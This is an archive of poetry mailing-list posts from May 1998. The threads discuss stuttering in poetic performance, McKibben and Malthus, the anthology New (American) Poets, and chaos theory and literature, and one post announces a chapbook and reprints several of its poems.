> orientation... i get a little tired of it too... in this article, though,
> he deals with malthus directly, perhaps self-consciously...

joe,

i was able to read this, finally. i agree, the self-consciousness here is powerful. I mean he is right. its no fucking joke we live in some kind of end-time. i guess that is why I mentioned hesiod and euripides. Euripides knew human beings weren't long for the this world. pellopenesian impossibilites. hesiod and so called 'agricultural' 'revolutions'.

Mckibben has a 4-year old kid. generational consciousness makes you write certain kinds a poems. and it is beautifully correct. makes certain poetics. this is a kinda _howl_ you know. best minds and negro streets=and like that. cause, really, the voluntarist 'change' that mckibben liturgically wants to invoke, i despair of. i think steve mccaffrey and his riff on bataille and the 'accursed share' tried to take this mckibben hope, atlantic monthly hope, down a different path some time ago. the socialist desires of the _new sentence_, or that pereleman late-marxism, or the buddhist desires of disembodied poetics and now some hipster poster-modernism living between truamas of impossibilitiy can't do it. new age and all that shit, poets trying to put out good anthologies, 'ethnographic mellennium sublimes' and other poets dissin this, back and forth, back and forth, and some poets worryin there own egos, and all kinds a generational unsubscriptions and lurking. dead lyrics and language 'this and that' and all kind a stutterings.

how is it possible to read Mckibben's writing and live the same way? what, really, is poetry in that or this world? i think of it as a howe's 'defenestration of prague'/

i don't really know. is there poetry now? i was looking for it.

i don't even know what 'sustainable' means? although i wish c. alexenander luck. in the desert. in s. dakota they have completed the face of sitting bull, blasting it out of a mountain cause someone has a desire of rushmore equal\-time. maybe this will all be one day picturesque ruins.

the thing with malthus was not his sociology, but his poetry.

malthus had no use for the meek inheriting the earth. his doctorate of divinity nothwithstanding.

mckibben's piece is for his next book _maybe one: a personal and evironmental argument for single-child families_.

i have no hope whatsoever that the bourgeois desire for self-interested limits will keep the Norplant police, the forced sterilization posse, the tuskeegee castration crew outta this town. what do you think?

stuttering: althougth we live in the late digital age, it is necessary to remember grand master flash and others pulling the vinyl back and forth under the stylus, hiccup, sampling. the sound of this age. music-loop. pop.

mc

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613. **ScoutEW**
Re: Chaos and poetry
Sun 24 May 1998

See Whitehead/Olson

Also, Could somebody on this list named Cronin backchannel me about "Tool a Magazine"

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614. **morpheal**
Re: culture heros
Sun 24 May 1998

> *Perhaps your reach exceeds your grasp.*

Always, and invariably both exceeds reach and grasp.....
It is those thin straws. Always those....

> *I try to find the wisdom to abide fools in silence, but I often fail. I say no more.*

Ah, another member of the cult of Albert Einstein.
It too has its rituals.

After all, Albert became a "culture hero". Chuckle.
Same category as Marilyn Monroe. Something to be worshipped.

Every civilization needs them. There have always been some of those around.

I am surprised Andy Warhol did not (as far as I know) do Einstein the way he did Marilyn. Or did he ? Anyone know for sure ?

Besides that, from an outsider's viewpoint it seems only Walt Whitman made culture hero status in America, from among poets. No one else seems to outrank him, even today, in that category. Wonder why ?

M.

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615. **Gwyn McVay**
Re: New (American) Poets stummering
Sun 24 May 1998

I do think it's interesting that nobody's yet mentioned the stutter or stammer as an indicator of an anxiety or panic state--reliable indicator in many patients (like me) of being about to blow a gasket--

The reading tonight for the (fabulous) anthology aforementioned included Edwin Torres, who reads fluently in a strange language with stops and hesitancies which give something of that feeling, vocables forcing their way out--Lee Ann Brown described Rod Smith as "Barbara Guest on speed," so my comparison is that Edwin Torres is Lord Buckley on ketamine--

Gwyn

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616. **Karen Kelley**
Re: the poetics of the stammer
Sun 24 May 1998

> *i heart this thread. i was captivated by something similar, which in my mind i called (and in print a coupla times too) "counterperformance," namely the exact opposite of what they teach you about "projection," clarity, dramatic enactment etc. for me it was sparked by seeing Bob Kaufman read in 1981, barely audible, clearly just trying to "get through it," but affecting nonetheless. also heard an anecdote from walter lew about going to hear r.d.laing once, and laing sat and mumbled on stage so incoherently that eveyrone left except (as i recall the tale) walter. i had a dream once where something similar happend w/ artaud. and this paper i've alluded to once or twice by bruce boone on john wieners seems to get at the same kind of thing. since i'm trying to write abt wieners right now (w/o ever having heard him read) this is all very helpful. --md*

One of the best performances I ever saw was Miles Davis at the Music Hall in Boston. He had on a gold lame jacket with tails, and a brilliant red trumpet, and he wandered kind of aimlessly about the stage while the band played, and when it was his turn he'd stop wherever he was and with his back to the audience play. As I recall, some reviewers read this as megalomania on his part, but I

always saw it as his rejection of the stand-up-and-project mode. It was thrilling: how clear his trumpet's voice was, and how little of "him" was there. Well, except for the gold lame coat.

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617. Kathy Lou Schultz
Re: New (American) Poets
Sun 24 May 1998

I'm very interested to see this collection, and inasmuch as an anthology can "represent" "community," (and it does represent) know who is included, each anthology in this age of anthologies a swipe, stutter, or attempt to name (something?) New? American? Does the East communicate with the West? Where is there dialogue? Who is included?

So could someone fill me in? I'm semi-housebound after a recent surgery and have yet to get this book through SPD.

Thanks.

MAYHEW wrote:
>
> I having been reading the anthology _New (American) Poets_ published by
> Talisman and edited by Jarnot et al. Not to brag excessively but I think I
> am the ideal reader for this book, that is, it seems to have been compiled
> with me in mind. I am the same age as some of the poets (slightly older
> than some) and there is a sort of generational sensibility with which I
> feel immediately in tune. Yet since I haven't been reading recent poetry
> with any assiduousness the discovery of so many writers at once is like
> discovering an ocean. So belated congratulations to the publishers,
> editors, and poets for this wonderful book.
>
> Also on my nightstand is the new collection by Bronk, also published by
> Talisman.
>
> Jonathan Mayhew
>
> [redacted]

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618. **david bromige**
stummering billions of bilious blue barnacles!
Sun 24 May 1998

Thanks, Gwyn, for naming of panic-state as informing the stummers. I had hoped it would be recognizably included under the rubric of "3 things at once," which is what panic states strike me as involving ("I-I-I-I cant cope with all of you at the same time!!"), but I see it wasn't.

Yeah,"F-F-F-Fire!" is probably a tug-of-war among
f-f-f-fight,f-f-f-flight, and f-f-f-fatalism.

David

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619. **david bromige**
barbara guest on speed
Sun 24 May 1998

Now we have Rod Smith defined (by Lee Ann Brown) in the terms above, can we have a candidate for the definition "Eddie Guest on downers"? [No, you can't nominate me]. Then, next, who is "The Wedding Guest on slide-trombone"? Who, Rod Smith on weed? Who, Jay Gutz on life-support system? George Oppen on "Jeopardy"--who? Ken Irby on a surfboard : any suggestions? db3

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620. **George Bowering**
Re: barbara guest on speed
Mon 25 May 1998

> *Now we have Rod Smith defined (by Lee Ann Brown) in the terms above, can we have a candidate for the definition "Eddie Guest on downers"? [No, you can't nominate me]. Then, next, who is "The Wedding Guest on slide-trombone"? Who, Rod Smith on weed? Who, Jay Gutz on life-support system? George Oppen on "Jeopardy"--who? Ken Irby on a surfboard : any suggestions? db3*

I have been thinking of Michael on daatje.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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621. **k. lederer**

Announcing a new chapbook series/EXPLOSIVE

Mon 25 May 1998

Announcing Spectacular Books, a new chapbook series that is going to feature ten limited edition books by new and emerging writers.

The first book, "Songs & Scores," by Tina Celona, is ready and available.

The book is 6 by 7 inches and is printed on acid-free paper in a first edition of 100. Each copy is signed and numbered by Tina.

The cover is wrapped in a very pretty dust-jacket that's made out of home-made paper in which little marigold petals are embedded. I'm selling it for $6. All monies will go into making more books. Checks should be made payable to me and sent to 420 E Davenport #2, Iowa City, IA 52245.

Some poems:

T H E E S C A P E
after Parra

For years I refused to live above ground
Until one night, howling with fear,
I emerged from my hole, sniffing the air,
Finding the road in the moonlight.
On the way to town I passed houses behind high walls
And fruit trees, which reminded me of a woman from Montenegro.
I took off my clothes and ate rocks by the side of the road,
Which grew lighter as the moon went down.
The lights of the city were beautiful,
But the stars were like insects behind catalpa leaves.
I was dying and I could not sleep.
But why mention it?
The stones I had left by the road were following me.
I saw a bicycle leaning against a wall and rode it into town,
The rocks hissing behind me and in the ditches.
When I was far away I threw down the bicycle and slept.
A dog woke me, sniffing and growling.
Before it could bite me I strangled it with my bootlace.
Its eyes popped out and lay in the dirt.
I got up and ran down the road to the town.
It was darker now and I saw absolutely nothing.
Then it grew lighter and I realized it was the sun, laughing at me.

I threw rocks at it.
I walked faster but I knew it would follow me into the town.
I was in tears but I went on until I came to a beautiful garden.
Under a lemon tree I commenced digging.
I was glad to see the leaves, they reminded me of my mother.
I lay down under the tree and slept in her arms.

.....

A POEM WITHOUT A CAMEL

i thought i could write a poem without a camel so i left mine at home. as i was writing my poem the camel appeared in the window. i took it home and tied it to the fence. as i returned to my poem i felt free of the camel. but the camel was there, looking in at the window. i took the camel to the zoo and left it with the other camels. when i returned to my poem i detected a whiff of camel in the air. i scrubbed my poem with vinegar but the camel was hard to get off. fearing that the camel would escape from the zoo, i closed the window and sealed it with tape. i turned back to my poem. the room was hot and airless, but at least it was free of the camel. i continued writing my poem, looking around now and then to see if the camel had returned. a camel appeared at the window but it was not my camel. nevertheless i covered the window with newspaper. it was hot and dark and i could hardly breathe but i continued writing my poem. finally i finished. my hands were shaking and i was short of breath but i was satisfied that i had managed to keep the camel out of my poem. i reread the poem. no camel. i turned it over to make sure that the camel wasnt hiding behind it. i scrutinized what i thought might be a camel footprint but it was only a little dirt. dripping with sweat i uncovered the window and opened it. sunlight and air flooded the room. from across the city i thought i heard my camel sneezing forlornly after me. we had never been apart, my camel and i. just to be sure i took my poem to a specialist. shaking his head, he confirmed that the poem was camel-free. certificate in hand, i went back to the zoo to pick up my camel. i was very tired and happy. i stood at the gate and whistled for my camel. several other camels ran over but my camel was nowhere to be seen. could it have escaped, i wondered. i went home, expecting to see my camel waiting for me by the fence. i went back to my office but it was dark and empty and smelled of vinegar. i returned to the zoo which was about to close for the night. sadly i whistled again for my camel. several camels came over but my camel was not among them. where is my camel? i asked the zookeeper, who was sweeping up camel droppings. which one was yours? answered the zookeeper. it occurred to me that i might not have recognized my camel among so many. i whistled again and the camels came over. i made the special sound i make to my camel. several of the camels sneezed, but the sneezes all sounded alike. it was getting late and the zookeeper wanted to close. you can come back tomorrow, he

suggested. on the way home i thought wistfully of the happy times my camel and i had shared. a tear trickled down my cheek as i remembered the day i had brought him home from the camel-dealer. i looked unhappily at my poem and at my certificate of authenticity. that night i slept very little. in the morning i headed back to the zoo. have you seen my camel? i asked the zookeeper. it wasnt at home? he replied. no, i said sadly. how about another camel, the zookeeper suggested. it wouldnt be the same, i replied. sadly i returned to my office. i wrote a poem and then another poem about my camel, but without my camel the poems seemed empty. something was missing and i suspected it was the camel. i took out my poem from the day before and compared it to the new poems i had written. the camel was missing from all of them. i turned back to my poems but my heart wasnt in it. i thought, it was foolish to have wanted to write a poem without a camel. as the weeks wore on i wrote an entire book of poems without a camel, and then another. then i stopped writing entirely.

.....

W E W E R E N O T M U C H
O L D E R T H A N Y O U

we were not much older than you
instead of the sky we had the sea
with an electric wire in it
on the floor a fish with a wandering eye
on the ceiling a biting gnat
looking for a way out

the letters of the alphabet were real to us
we had a place in the bank
we were in earnest
at night the sun rose
the moon looked back
death was exiled to the provinces
we had boiled eggs to chop

art had replaced god in our letters
we traded rings like candy
the streets had moved into the libraries
a sale was in progress
every book was an eye

we were not afraid
of fear we wanted to be old
we dropped our pretenses
and sold them for liver
buried gold for someone to find

and watered it with piss
then we got lost

we laid underground lines in our poems
on every fence we posted a sign
it was a hell of a trail
the sky cracked open
electrocuted the fish which stopped blinking
the gnat bit the lightning and died
on the way out

we looked down at our hands
our hands disappeared we saw our feet
our feet left we saw our genitals
exploding they were tangled up
they looked like spaghetti
tears stuck to them

behind the arras we saw you looking
we went on one word at a time
we saw what to do
then we lost it
my eye was full of poison
it swelled then i only had one
my mouth was full of salt

instead of the sea we had the earth
had it from above and below
and when it was gone we had
our tongue in your teeth
we called out all the names
the sun beat down
our gold was dug up

the letters were made of glass
they screwed them over our eyes
this kept the poison out
we saw glass close up
and saw through it

it was hot there under the sea
under the earth under the sky
a snake crawled out of a hole in the snow
the apple tree got the scab
none of the apples grew

your teeth fell out they had blood on them
the isle was full of noises
we called you by your name
the lights went out
we were not much older than you
and there were more of us

.....

More of the poems in the book can be found in EXPLOSIVE MAGAZINE #3, INTERLOPE #1, and EPOCH

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622. Jim Andrews
Seattle Drift
Mon 25 May 1998

Seattle Drift, a very bad text indeed, is at
http://www.islandnet.com/~jandrews/mocambo/SeattleDrift.html
You may consent to do the text.
As poets, you may stop the text.
For the wicked, opportunity is provided to discipline the text.

The text needs Netscape 4 or Internet Explorer 4, can't do without it.

Jim Andrews

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623. Stephen Cope
Re: the poetics of the stammer
Mon 25 May 1998

Since Miles Davis has been brought up, I might mention (if it hasn't been already), that some of the more significant stuttering poetries that have been produced in this century derive much from jazz phrasings (and of course, jazz rhythms, and again, of course, scat). Creeley, for instance, has located the genesis of his own phrasing in his early fascination with Charlie Parker. Similarly, if one reads the Olson/Creeley correspondence, one finds Creely often beseeching Olson to listen to Parker's music, and it seems fairly certain that "Projective Verse" was written with at least a little Parker in mind. This, in any case, might put a different spin on the sense of the term "projective" as it's being discussed here...

Stephen

> *i heart this thread. i was captivated by something similar, which in my mind i called (and in print a coupla times too) "counterperformance," namely the exact opposite of what they teach you about "projection," clarity, dramatic enactment etc. for me it was sparked by seeing Bob Kaufman read in 1981, barely audible, clearly just trying to "get through it," but affecting nonetheless. also heard an anecdote from walter lew about going to hear r.d.laing once, and laing sat and mumbled on stage so incoherently that eveyrone left except (as i recall the tale) walter. i had a dream once where something similar happend w/ artaud. and this paper i've alluded to once or twice by bruce boone on john wieners seems to get at the same kind of thing. since i'm trying to write abt wieners right now (w/o ever having heard him read) this is all very helpful. --md*
>
> *One of the best performances I ever saw was Miles Davis at the Music Hall in Boston. He had on a gold lame jacket with tails, and a brilliant red trumpet, and he wandered kind of aimlessly about the stage while the band played, and when it was his turn he'd stop wherever he was and with his back to the audience play. As I recall, some reviewers read this as megalomania on his part, but I always saw it as his rejection of the stand-up-and-project mode. It was thrilling: how clear his trumpet's voice was, and how little of "him" was there. Well, except for the gold lame coat.*

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624. **Maria Damon**
Re: Chaos and poetry
Mon 25 May 1998

---

ira livingston's arrow of chaos: romanticism and postmodernism, u of minnesota press, is delightful, smart, deconstructive and wonderful. he's at suny stonybrook, for further reference.

At 8:09 PM -0400 5/24/98, Dean Taciuch wrote:
>I'm almost afraid to open this topic up (it's been around before), but I'm
>prepping to teach an undergraduate course on Relativity, Quantum
>Mechanics, Chaos and Literature (catalog shortens this to Chaos and Lit,
>but that's close enough).
>
>Anyway, I've found N Kathernine Hayles' _Chaos Bound_ very useful (though
>I haven'y located a copy of her earlier book on field theories and lit);
>but there is no discussion of poetry, or of non-narrative prose, in the
>book. In fact, in the final section she notes that the Postmodern

>movement(s) she traces probably can't be traced as a narrative at all (she
>writes that living, actually experiencing postmodernism would be to live
>"in a world of disconnected present moments that jostle one another but
>never form a continuous (much less logical) progression" (282). Yet she
>never discusses texts which expolre this (much of the poetry discussed on
>this list, even written by list members, for example; or earlier texts
>such as Stein's, for example.
>
>The problem is, I think, in Hayles' view of the "paradigm" of literature
>(the norm), as expressed in her Introduction. She mentions that an
>advanced physicist may write for an audience of 300 people, most of which
>he or she knows. "But what creative writer," she asks, could afford to
>appeal to an audiencethis small, this specialized?" (18-19)
>
>That audience would be us. I've just had a chapbook out (this isn't a
>plug, but you can order _certainty series_ from Burning Press, so I guess
>it is a plug). The print run was 250 copies. I'll be very happy to have
>these reach readers, and I probably will know many of them. I'm sure many
>here can say the same.
>
>Are there any discussions of modern science (relativity, quantum, chaos)
>which _do_ consider poetry, especially more "experimental" poetries,
>worthy of consideration? Is Hayles' ignoring of poetry due to the
>influence of, for example, Jameson's theory of Postmodernism (a major
>source in Hayles' concluding chapter), a theory which also, as far as I
>recall, looks only at narrative (and architecture, but no poetry). . .
>
>Any leads will be appreciated. I almost have the list made up for the
>course, and Implan to mix prose fiction, poetry, drama. . .its mainly
>critical material I need now (for my own study, not for the undergrads),
>though suggestions for inclusions my reading list will certainly be
>appreciated and considered.
>
>Thanks,
>
>Dean Taciuch

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625. **Maria Damon**
Re: New (American) Poets stummering
Mon 25 May 1998

---

speaking of edwin torres, here's a bit of shameless self-advertisement: i've got an essay on edwin and another poet, javier pina, coming out this summer in American Literary History. it's called "avantgarde or borderguard."

At 10:53 PM -0400 5/24/98, Gwyn McVay wrote:
>I do think it's interesting that nobody's yet mentioned the stutter or
>stammer as an indicator of an anxiety or panic state--reliable indicator
>in many patients (like me) of being about to blow a gasket--
>
>The reading tonight for the (fabulous) anthology aforementioned included
>Edwin Torres, who reads fluently in a strange language with stops and
>hesitancies which give something of that feeling, vocables forcing their
>way out--Lee Ann Brown described Rod Smith as "Barbara Guest on speed," so
>my comparison is that Edwin Torres is Lord Buckley on ketamine--
>
>Gwyn

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626. **Susan Wheeler**
Re: Chaos and poetry
Mon 25 May 1998

> *Are there any discussions of modern science (relativity, quantum, chaos) which _do_ consider poetry, especially more "experimental" poetries, worthy of consideration? Is Hayles' ignoring of poetry due to the influence of, for example, Jameson's theory of Postmodernism (a major source in Hayles' concluding chapter), a theory which also, as far as I recall, looks only at narrative (and architecture, but no poetry). . .*

Take a look at Ben Belitt's "Toward a Poetics of Uncertainty: Trial Balances" in his The Forged Feature collection of essays using Heisenberg, Steven Weinberg, J.H. Wheeler, Einstein, Eddington, etc. in looking at Blake, Stevens, Coleridge, Hopkins, etc.
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

627. **MAYHEW**
New (American) Poets
Mon 25 May 1998

Kathy Schultz wrote: "I'm very interested to see this collection, and inasmuch as an anthology can "represent" "community," (and it does represent) know who is included, each anthology in this age of anthologies a swipe, stutter, or attempt to name (something?) New? American? Does the East communicate with the West? Where is there dialogue? Who is included?"

The problem with seeing an anthology as "representing" something outside of itself is that then the anthology is not read; it becomes a dialogue about what is represented and what is not. My great advantage is that I don't know enough to make the "where is xyz" critique. I also question the word community in this context. Watch those scare quotes they scare me.

Some initial notes: I like Claire Needell, subtle and intelligent. Susan M. Schultz is an amazing poet, meditative, with great nuanced shifts of tone. Juliana Spahr's "spiderwasp" makes me want to read more of her. I was impressed by Peter Gizzi's "Poem for John Wieners." Jordan Davis makes the useful recommendation "You must double your style every twenty minutes." Others have mentioned Edwin Torres and Rod Smith. Jennifer Moxley's Fin de Siecle go-betweens is also a great poem. I don't feel like typing the whole table of contents but there are 36 poets. All that I've read so far, in random fashion, worth looking at.

Jnthn Myhw
[redacted]

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628. **Dean Taciuch**
Re: the poetics of the stammer
Mon 25 May 1998

I've been loosely following this thread, but I don't think Nathanial Mackey has been discussed much. He doesn't stammer, but he has written (in _Discrepant Engagement_? I'm away from my books now. . .) about a "creaking" " which he locates, in its modern forms, in blues, jazz. I think it relates to the stutter, and to the limp (which I now realize has been mentioned in this thread before, re: Mackey). If I recall, this "creaking" corresponds to letting in the noise behind or beneath the words, the noise from which the words arise.

The stammer, perhaps, a hestitancy before speaking which allows other sounds in, background noises brought up to awareness?

Dean

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629. **Billy Little**
local
Mon 25 May 1998

> *it does not have much to teach us _directly_. It was local and the numbers involved were small.*

while agreeing with most of what Don said(re myth and directness etc. but here i'd have to say the cockroach and the flea (not to mention dna) are pretty local but they still have lots to teach us.

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630. **morpheal**
Re: Megalamorial Miscelany II [Or: Beasts one and all.]
Mon 25 May 1998

>that period I spent most of my time being a high-class muscle man for
>Big Business. In short, I WAS A RACKETEER FOR CAPITALISM.
>I suspected I was just part of a racket at the time. Now I am sure of
>it. Like all members of the military profession I never had an original
>thought until I left the service. My mental faculties remained in
>suspended animation while I obeyed the orders of higher ups. This is
>typical of everyone in the military service.
---------- [deleted for brevity]
>During those years, I had, as the boys in the back room always say, a
>swell racket. I was rewarded with honors, medals, promotions. Looking
>back on it, I feel I might have given Al Capone a few hints. The best he
>could do was to operate his racket in three city districts. We Marines
>operated on three continents."---Major General Smedley Butler, author of
>War Is a Racket, testifying before Congress in 1935

Obviously Smedley Butler was involved in anything other than intelligence.

Writing books about such subjects, when having been limited to stringent "need to know", lines of command and control, would seem to lead to a very narrow vision of one's own profession. Odd as that seems. Add to that no vision of any greater purpose than an unquestioning gaining and holding of ground. One can sense the frustrations, as to sense of purpose, but perhaps the largest contribution came from revealing that area of weakness such that it could be modified for the future and a larger sense of the purpose could be given to those who followed, up the ranks, in his footsteps. Another danger in that as to quoting what is only one man's narrowly personal, narrowly historically situated, viewpoint of a small segment of our history.

We also usually tend to overlook the positive value of those steps in social and economic evolution that came to where the program was successful. While there is a lot wrong in what happened, and in what is happening, there is also positive merit. We might do well to imagine what ways and standards of living would have been if no nation had been permitted to intervene in the manner that they did. They would thus be prevented from profiting from their intervention. If we can imagine such a world, where one country would be left purely to its own recources and means of utilizing those, with zero involvement or intervention by any other country, we imagine a world that has never existed. The fact is that some other country would have entered into involvement, and then we must speculate upon what kinds of exploitation that other power might have effected. Would they have been more generous, and less selfish, than the nation that did in fact involve itself ? I would say that any other nation who would have involved would likely have been harsher, more selfish, more usurious, than what in fact happened. That might be difficult to imagine, but I think it is quite arguable based on our observations of the real world.

I would never argue that there is no grounds or need for improvement. To the contrary. However, I do say that the positive merits, and even the occassional necessities, short and long term, are habitually ignored by most who critique. That is partly because they are engaged in ideological debate.

That military action has secured a nation's interests, and its assets, abroad, beyond its borders, is an inevitable and necessary "evil" of human existence. It has been thus throughout human history and it remains thus. Of course, in most regards Canada's interests are very similar to those of the United States of America, and I cannot see that Canada would have acted any differently, in most regards, than the USA has acted, in most situations, if it had been the larger military power and the USA the lesser of the two allies. We need only to look to other instances of historical military power to understand that.

Of course there is another level of meaning. That relates to the very large personal sacrifices made by wealthy patriots, who have largely made the black budget programs that have necessarily assured military supremacy possible. Tax dollars could never have paid for it all. The taxpayers would have never withstood it. The enemy would have had a hayday turning the people against their own government. It was by patriotic donation. Black budgets often are largely by means of patriotic donation and often of incalculable worth beyond any ledger allusion to them. The rewards too, to those who participate, are ultimately not monetary, though wealth is secured in the longer term by the same means, but not only by that means. Necessarily thus. As for the ledger, in any nation, it does not reveal reality because any potential or actual hostile foe can read the ledger and gain some advantage. If that is what is meant by the

"racket" then certainly the camouflage of a legitimate business necessarily conceals the covert research, development and production of the means of assuring national and allied defence. Sometimes the best defence is to make the first move. That is particularly true where the conequences of not doing so would be disastrous to assets and/or populations.

> *"The United States does not have in the world-and does not deserve to have-more than one single friend, the United States."---Theodore Roosevelt*

Does the man at the top of the pecking order beneath him have any friends ? Yet how often everyone beneath refers to him as valued friend, as they dream of ways of overthrowing him and usurping his position. Is it any different amongst nations than it is amongst coworkers who envy every promotion and side with one another in conspiracies of their own personal greed ? Are their rumours for effect, and their secrecy for advantage any different than those of competing groups of other kinds ? I think you can derive international politics from your own personal politics, or your observations of the personal politics of others whom you know quite well.

> *"They're so corrupt its thrilling!"---Lenny Bruce on Richard Daley's Chicago Democratic machine*

Mickey Mouse.

> *"The only place to spit in a rich man's house is in his face."---Diogenes the Dog*

Not every rich man is a patriot to some larger noble cause, but many a rich man is exactly that. Then again, many people spend their whole lives conspiring to spit into, or actually spitting into, the faces of patriots whose patriotism is to some noble cause or other.

> *The white man is still troubled with primitive fears;..."---Mary Austin*

Fear can kill quite effectively. And I do not mean only to say that "fear is the mind killer". ("Dune" is an interesting novel.)

M.

aka Bob Ezergailis

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631. **ScoutEW**
Re: the poetics of the stammer
Mon 25 May 1998

In a message dated 5/24/98 9:53:47 PM, you wrote:

<<I recall, some reviewers read this as megalomania on his part, but I always saw it as his rejection of the stand-up-and-project mode. It was thrilling: how cle>>

In the autobiography, Miles Davis has said that he was deliberately rejecting the symbol of the grinning negro that musicians such as Louis Armstrong represented to especially white audiences. In this decade where everything is upfront, everyone including mad amounts of poets want "star" status and will stop at nothing to atttain it, it is nice to think about Miles Davis, who by the way obviously had an enourmous amount of influence on poetry in general, lay back and do his thing without kissing ass. It is sad that so many people would look at Davis's act as some projection of ego or whatnot, what he was doing was creating his art on his own terms, a concept this is absent, in an age of buying and selling images and ideas and "community"

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632. **Taylor Brady**

Re: Partch

Mon 25 May 1998

---

joel lewis wrote:

> *There is a great New World recording of partch performing his music, especially his settings of Li Po's poetry from late 40's. Partch's journals have been publsihed, as well as his "Genesis of a Music", his major theoretical work.*

The Li Po lyrics are also available on a wonderful recent recording, 17 Lyrics of Li Po, on John Zorn's Tzadik label. Stephen Kalm -- I believe he's performed from time to time with Meredith Monk's ensemble? -- is the intoning voice, and Ted Mook plays the modified tenor violin.

Taylor Brady
editor, Cartograffiti
 http://writing.upenn.edu/spc/cartograffiti

(a publication of the Small Press Collective)
 http://writing.upenn.edu/spc

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633. **R. Gancie**

Fredreick Winslow Taylor meets Wittgenstein & Adorno

Mon 25 May 1998

"The task before us, then, narrowed itself down to getting Schmidt to handle 47 tons of pig iron per day AND MAKING HIM GLAD TO DO IT. This was done as follows. Schmidt was called out from among the gang of pig-iron handlers and talked to somewhat in this way: "Schmidt, are you a high-priced man?" "Vell, I don't know vat you mean." "Oh yes, you do. What I want to know is whether you are a high-priced man or not." "Vell, I don't know vat you mean." "Oh, come on now, you answer my questions. What I want to find out is whether you are a

high priced man or one of these cheap fellows here. What I want to find out is whether you want to earn $1.85 a day or whether you are satisfied with $1.15, just the same as those cheap fellows are getting." "Did I vant $1.85 a day? Vas dot a high priced man? Vell, yes, I vas a high-priced man." "Oh, you're aggravating me. OF COURSE YOU WANT $1.85 A DAY-EVERY ONE WANTS IT! You know perfectly well that that has very little to do with you're being a high-priced man. For goodness sake answer my questions, and don't waste any more of my time. Now come over here. You see that pile of pig iron?" "Yes." "You see that car?" "Yes." "Well if you are a high-priced man, you will load that pig-iron on that car tomorrow for $1.85. Now do wake up and answer my question. Tell me whether you are a high-priced man or not." "Vell-did I got $1.85 for loading dot pig iron on dot car to-morrow?" "Yes, of course you do, and you get a $1.85 for loading a pile like that every day right through the year. THAT IS WHAT A HIGH-PRICED MAN DOES, and you know it just as well as I do." "Vell, dot's all right. I could load dot pig iron on the car to-morrow for $1.85, and I get it every day, don't I?" "Certainly you do-certainly you do." "Vell den, I vas a high-priced man." "Now, hold on, hold on. You know just as well as I do that a high-priced man has to do exactly as he's told from morning till night. You have seen this man here before, haven't you?" "No, I never saw him." "Well, if you are a high-priced man, you will do exactly as this amn tells you to-morrow, from morning till night. When he tells you to pick up a pig and walk, you pick it up and walk, and when he tells you to sit down and rest, you sit down. You do that straight through the day. And what's more, no back talk. NOW A HIGH-PRICED MAN DOES JUST WHAT HE'S TOLD TO DO, NO BACK TALK. Do you understand that? When this man tells you to walk, you walk; when he tells you to sit down, you sit down, and you don't talk back at him. Now you come back on to work here to-morrow morning and I'll know before night whether you are really a high-priced man or not."---from Scientific Management by Frederick Winslow Taylor --- "Seeing a living human being as an automaton is analogous to seeing one figure as a limiting case or variant of another; the cross-pieces of a window as a swastika, for example."---Ludwig Wittgenstein, Philosophical Investigations --- "The transcendental reduction; the exemplary index of scientific geometry; the intention of objectivity; the immutability of our classification secured by our subsequent behavior. Coherence becomes the precondition for truth, the illusion of unity. The movements that machines demand...already have the violent, hardhitting, unresting, jerkiness of Fascist maltreatement."---Theodor Adorno---cp

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634. **Billy Little**
Re: the poetics of the stammer
Mon 25 May 1998

---

and again, of course, scat): which brings up forgetting as perhaps the fourth impetus for the stutter,i.e., trying to get a word in edgewise with Grossinger or Duncan it might take an hour and then when you get the opening all you can do is sputter, also see Ella's first recording of Mac the Knife.

isn't belitt the one who distorted Lorca's work by obscuring or worse the homosexual references?

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635. **Billy Little**
Re: Megalamorial Miscelany II [Or: Beasts one and all.]
Mon 25 May 1998

>
>Not every rich man is a patriot to some larger noble cause, but many a rich
>man is exactly that. Then again, many people spend their whole lives
>conspiring to spit into, or actually spitting into, the faces of patriots
>whose patriotism is to some noble cause or other.
>
are you an alumnus of georgetown university or the allen institute in montreal?

patriotism you may remember from freshman english is the last refuge of scoundrels.

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636. **morpheal**
Re: Megalamorial Miscelany II [Or: Beasts one and all.]
Mon 25 May 1998

> *are you an alumnus of georgetown university or the allen institute in montreal?*

No. Though perhaps that was a rhetorical question. I was not that fortunate.

> *patriotism you may remember from freshman english is the last refuge of scoundrels.*

I presume that you must have some other loyalties. Perhaps that is a loyalty to the preservation of your own life and manner of existence. So, perhaps there is that in common among most, and all that then remains to be said on that score is: welcome to life, liberty and perhaps some manner of the pursuit of happiness, in the last days of the 20th century. I often have reason to question

the pursuit of happiness part, or debate the nature of liberty, but the preservation of lives is beyond question.

We can also be quite assured that the first days of the 21st century shall inauguarate at century that shall remain free of the constant terror represented by "duck and cover" drills. Remember those ?

M.

aka Bob Ezergailis

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637. **MAYHEW**
Lorca
Mon 25 May 1998

Billy asked:
"isn't belitt the one who distorted Lorca's work by obscuring or worse the homosexual references?"

He was ONE of the ones who did this. There is a line from "ode to Walt Whitman" that Belitt renders "who loves mankind" instead of "who loves man," changing homoerotic desire to vaguest philanthropy.

Jonathan Mayhew

[redacted]

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638. **Henry G**
Re: Chaos and poetry
Mon 25 May 1998

Dean, that was a very discerning reading of Hayles' book! You've discovered her limit, it looks like! Doesn't chaos theory find order even in the most minute, inchoate impressions? So the most delicate readings of reality would be at that submicroscopic discarded (poetry) level. Chas. Olson might be the place to start, at least looking for quotes. He always aimed for the most local, the most obscure, the most ignored, the... because MAXIMUS was so minimal... "so few"... - Henry G.

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639. Susan Wheeler
Re: the poetics of the stammer
Mon 25 May 1998

>isn't belitt the one who distorted Lorca's work by obscuring or worse the
>homosexual references?
>
That's his rep but a firsthand look is recommended.

>
Susan Wheeler
[redacted]
voice/fax [redacted]

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640. Don Byrd
Re: the poetics of the stammer
Mon 25 May 1998

I've told this story before, but I think not on the list. Once, when Duncan came to visit, he was on one of his talking jags. He arrived, I made coffee, we drank the coffee, etc. Robert kept talking. Finally he said, "I am trying to ask you, and if I can stop talking long enough for you to answer....."

(And incidentally, some times, for Robert, it was a stutter, of the kind I mentioned in a previous post--needing to say several things at once; some times, it was a way to keep the floor, so the flow would not be interupted.)

Don

Billy Little wrote:

> *and again, of course, scat): which brings up forgetting as perhaps the fourth impetus for the stutter,i.e., trying to get a word in edgewise with Grossinger or Duncan it might take an hour and then when you get the opening all you can do is sputter, also see Ella's first recording of Mac the Knife.*
>
